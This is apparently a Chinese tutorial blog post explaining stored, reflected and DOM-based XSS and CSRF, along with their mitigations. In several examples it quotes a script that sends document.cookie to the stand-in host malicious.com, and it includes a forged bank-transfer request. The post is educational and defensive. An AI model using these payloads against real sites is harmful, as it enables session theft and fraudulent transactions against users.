反射型 XSS 疑问及延伸(CSRF)

3,581 阅读5分钟

有关反射型 XSS 的疑问

学习 XSS (Cross-Site Scripting,跨站脚本攻击) 的时候可以了解到 XSS 分为三种:持久型 (type-2),反射型 (type-1) 和基于 DOM 型 (type-0) 。
在看反射型的时候,总结一下大多数帖子给出的解释:恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方(通常是搜索框),然后脚本反射(出现)在新渲染(或者部分刷新)的页面并执行。

接下来看例子:
用户在一个不防范 XSS 的网站中搜索内容,关键字为 XXX,如果网站内包含 XXX的内容,那么该内容就会被展示出来,如果网站中不包含相关,那么可能会提示 XXX 相关内容不存在。也就是,用户的搜索内容最终都会以某种方式反射到搜索结果中。如果搜索内容为:<script>alert(1)</script>,那么页面就会执行这段 JavaScript 代码,也即该网站存在 XSS 漏洞。

那么问题来了: 作为不懂 JavaScript 的用户,是不可能自己在搜索框中输入恶意脚本攻击自己的。大部分网上的帖子给出的例子到以上内容为止,解释了什么是反射型 XSS,但是却没有说明如何进行攻击。我猜想是通过例如 www.example.com?search=<script>window.location='http://malicious.com/?data=' + document.cookie</script> 这样的恶意链接做到的,经历一番搜寻求证,还是在一些博客中有提及的确是这样做的(具体查看文末参考)。

XSS 小结

上文提到,XSS 可以分为三种,持久型(Persistent),反射型(Reflected),和基于 DOM 型(DOM-Based)。仔细来讲一下这三者吧。

持久型

定义

恶意脚本被攻击者上传到合法的服务器中,并在常规的页面浏览过程中返回给普通用户并被执行。

例子

攻击者在一个博客网站中的一篇博客下评论 <script>window.location='http://malicious.com/?data=' + document.cookie</script>,恶意代码就会在所有访问这篇博客评论的用户的浏览器中执行。

反射型

定义

上文提过了,这里重复一遍:恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方(通常是搜索框),然后脚本反射(出现)在新渲染(或者部分刷新)的页面并执行。

例子

例子就不重复,开头给出了具体的例子。不过查阅的文章中有张图很形象,这里引用一下

反射型 XSS 图片说明

基于 DOM 型

定义

基于 DOM 型 XSS 其实是一种特殊的反射型 XSS,反射型 XSS 的执行过程经过了服务器端(上面的例子中向服务器发了请求),而基于 DOM 的 XSS 没有经过服务器端(恶意代码没有流经服务端),直接通过 JavaScript(并非攻击者写的恶意脚本,而是来自服务器的 DOM 操作脚本)将数据输出到 HTML 页面中。

例子

假设如下表单是让用户选择他的首选语言,默认选项作为参数提供在了 "default" 参数中。

Select your language:

<select><script>
document.write("<OPTION value=1>" + document.location.href.substring( document.location.href.indexOf("default=") + 8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>

使用一下 URL 调用该页面

http://www.some.site/page.html?default=French

可以通过向受害者发送以下 URL 来完成基于 DOM 的 XSS 攻击

http://www.some.site/page.html?default=<script>window.location='http://malicious.com/?data=' + document.cookie</script>

反射型和持久型区别

最大的区别就是 XSS 恶意代码是否存储在合法服务器中,网友也有提到反射型需要欺骗用户点击链接,而持久型用户访问相关页面就直接触发。

缓解办法

根据攻击原理,可得出如下缓解办法(主要核心是第一条 —— 警惕用户输入):

  • 验证用户输入或者做内容转义

  • 对于反射型,可以提醒用户小心恶意链接(这个几乎没用。。。)或者浏览器对 URL 做识别(Chrome,Firefox都支持)

  • 对于盗用 Cookie ,设置 HttpOnly 属性来保证 JavaScript 代码无法访问 cookie

XSS 延伸之 CSRF

因为都是 Cross-Site,XSS 和 CSRF 有时候一起出现尽管他们并不相同,CSRF 是 Cross-Site Request Forgery (跨站请求伪造),CSRF 攻击通过伪装成受信任用户的请求来利用受信任的网站,不管使用什么方法只要是伪造用户发起的请求都可以称为 CSRF 攻击。

例子

用户访问银行的网站,在 Session 还未过期的情况下(伪造用户身份的关键) ,访问了危险网站,危险网站执行如下代码

$.post('/www.bank.com/transfer?amt=500&transferTo=B, function(data) { } );

这时候用户在不知情的情况下转账给了用户B 500元。

缓解办法

不难看出,以上恶意网站发出的请求是跨域请求,在同源策略(Same Origin Policy)未被禁用时会被拦截,即使攻击者通过 iframe/form 来成功发送该请求(才知道表单允许跨域,因为无法获取表单提交后的结果),服务器端也可以通过检查 Referer 来判断请求来源是否合法。
但是,如果银行使用的是 GET 请求来完成转账操作,攻击者可以结合 XSS 来做到 CSRF 攻击,只需要借助以上 XSS 办法让用户点击请求的 URL 即可,这种情况下的 CSRF 又叫 XSRF。这种情况下通过改良网站的 API 设计提高 CSRF 攻击的门槛。
对系统的关键操作添加验证码也是有效抵抗 CSRF 攻击的办法,因为 "CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互,才能完成最终请求" 。
不过针对 CSRF 最常用的方法还是使用 CSRF-Token ,通过在每次请求的请求头中添加 Token,服务器检查 Token 可以有效防止 CSRF 攻击。

CSRF 与 XSS 的区别

一句话总结:XSS 利用的是网站对用户(输入)的信任,CSRF 利用的是网站对用户网页浏览器的信任。

参考